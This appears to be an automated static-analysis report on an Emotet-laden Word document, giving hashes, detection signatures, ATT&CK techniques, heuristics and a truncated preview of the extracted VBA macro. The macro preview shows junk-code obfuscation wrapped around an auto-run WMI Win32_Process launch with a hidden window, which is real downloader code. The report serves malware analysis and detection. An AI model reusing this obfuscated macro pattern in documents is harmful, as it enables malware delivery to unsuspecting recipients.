Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d271484f11fc77b0…

MALICIOUS

Office (OLE)

201.5 KB Created: 2019-02-22 08:22:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5a8056cc7c4d3a2430d98d68fe0b640d SHA-1: 2512c0f43a0d7a43b5fc9e40af3be74517a502d1 SHA-256: d271484f11fc77b057940ebf43c1bd15547c3d2bc64b87d48e08e5c45bb8e735
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6865930-0', strongly suggesting the Emotet family. The presence of an AutoOpen VBA macro and GetObject calls indicates that the macro is designed to execute automatically upon opening the document. This macro likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6865930-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6865930-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43093 bytes
SHA-256: 1049ad478935a16ad0ff33b7186a852f6dd2320f74eafbfdfe3dab09ec2b7aa3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "v290062"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "k655547"
Function Q50_1_65()
   Select Case A_962_
         Case 128000551
U310_1_9 = (o632_4 * Fix(451547558 / CBool(q26___))) - R821562 / Oct(892430490) / 798610692 + CStr(S49255_) - 919329677 + ChrB(o207____)
End Select
   Select Case b3367648
         Case 390220808
G675_5 = (A534_58 * Fix(100586583 / CBool(p67_12_))) - Y94____6 / Oct(941363895) / 274720910 + CStr(h2__95) - 962752476 + ChrB(w5619_)
End Select
   Select Case N_19_8_7
         Case 773858388
E1534__ = (F81__937 * Fix(966092511 / CBool(Z438__66))) - Z1537_ / Oct(18006073) / 735646295 + CStr(w079__4_) - 96629916 + ChrB(Y552___)
End Select
   Select Case C8_330
         Case 588431693
b___4818 = (d9224132 * Fix(174990940 / CBool(q0937894))) - U56296 / Oct(212369674) / 463336692 + CStr(n82_7_69) - 138569379 + ChrB(V_1_14_)
End Select
   Select Case K__3_60
         Case 83387527
z8_77_6 = (m20__66 * Fix(285742593 / CBool(n468_4))) - S4____81 / Oct(35424484) / 141128078 + CStr(d_8_26) - 525199804 + ChrB(o72_1_59)
End Select
   Select Case K77_16_
         Case 70757302
F54__61 = (A30395 * Fix(16570273 / CBool(h460__58))) - B__0_12 / Oct(80257334) / 664481382 + CStr(I14487) - 545313917 + ChrB(a12_61_7)
End Select
   Select Case q_1075
         Case 946927337
z2_91_ = (j3__8_38 * Fix(760523264 / CBool(F5_497))) - w_10_70_ / Oct(975429481) / 550262089 + CStr(U413053) - 265753525 + ChrB(J__0__1_)
End Select
End Function
Function j27125(K_20__, F_197_7)
On Error Resume Next
   Select Case O01_164
         Case 873956902
B___997 = (u00_6_70 * Fix(487417620 / CBool(B30040_))) - I532_5 / Oct(500809999) / 48936720 + CStr(j_271_) - 596153030 + ChrB(B90_647)
End Select
   Select Case W7_130
         Case 223897058
o0_9_9__ = (f_3796_ * Fix(761189105 / CBool(B23_4_5))) - t42879 / Oct(360385596) / 613036928 + CStr(c40_3_5) - 216577373 + ChrB(j6____0)
End Select
   Select Case w__5_4
         Case 750920478
U5479141 = (w532__8 * Fix(272730906 / CBool(X5327513))) - H343_746 / Oct(394406016) / 758842230 + CStr(T_8___2) - 381245754 + ChrB(w57132_5)
End Select
R_845_ = N5_1_6 + "winmgmts:Win32" + K_191_49 + "_ProcessStartup" + I26734_
   Select Case s5_2467
         Case 336586192
m035595 = (M__230 * Fix(173137779 / CBool(I__30_))) - b50737_ / Oct(99768988) / 965934274 + CStr(z0___43) - 826917769 + ChrB(j62_53)
End Select
   Select Case X0735832
         Case 311110205
D38_46 = (p357693 * Fix(163607865 / CBool(H3_8210))) - L57_93 / Oct(939019488) / 435634450 + CStr(c2176_0) - 159762297 + ChrB(c25093)
End Select
h495__94 = F8315_4 + "winmgmts:Win32" + l57398_ + "_Process" + l896_6
   Select Case n_18_1
         Case 899693318
z_04562 = (Q921__1 * Fix(310694814 / CBool(T59_0_0))) - P5____93 / Oct(917397212) / 228855129 + CStr(i_621_) - 763215146 + ChrB(Z0_761)
End Select
   Select Case a3832_5
         Case 634198281
r683_2_2 = (l_2852 * Fix(999227152 / CBool(M184668))) - U7_9_6 / Oct(200610008) / 137888759 + CStr(U_7_24) - 703922535 + ChrB(A_1_04)
End Select
Set j__258 = GetObject(R952_369 + R_845_ + P_2212)
   Select Case B36666
         Case 465359319
F_41_9 = (m4_065_1 * Fix(601377962 / CBool(V547_2))) - z5__97 / Oct(173020425) / 21945179 + CStr(B090_6) - 887111453 + ChrB(h_85_85)
End Select
   Select Case l84_33
         Case 486346972
q5_23_ = (P01523 * Fix(506262941 / CBool(j6_17__))) - Q_31__97 / Oct(954577258) / 897540014 + CStr(a9_5836) - 652356721 + ChrB(k_78211)
End Select
j__258.ShowWindow = z590_4 + 311833 - 311833 + l039_3
   Select Case Q48__374
         Case 645357063
h90659 = (i___09 * Fix(8181473 / CBool(T_361_))) - N_3_84 / Oct(104279817) / 702145494 + CStr(W03_696) - 311852797 + ChrB(Z_6_15_)
End Select
   Select Case i__15_
         Case 349205751
S_16417 = (P__145 * Fix(560709850 
... (truncated)

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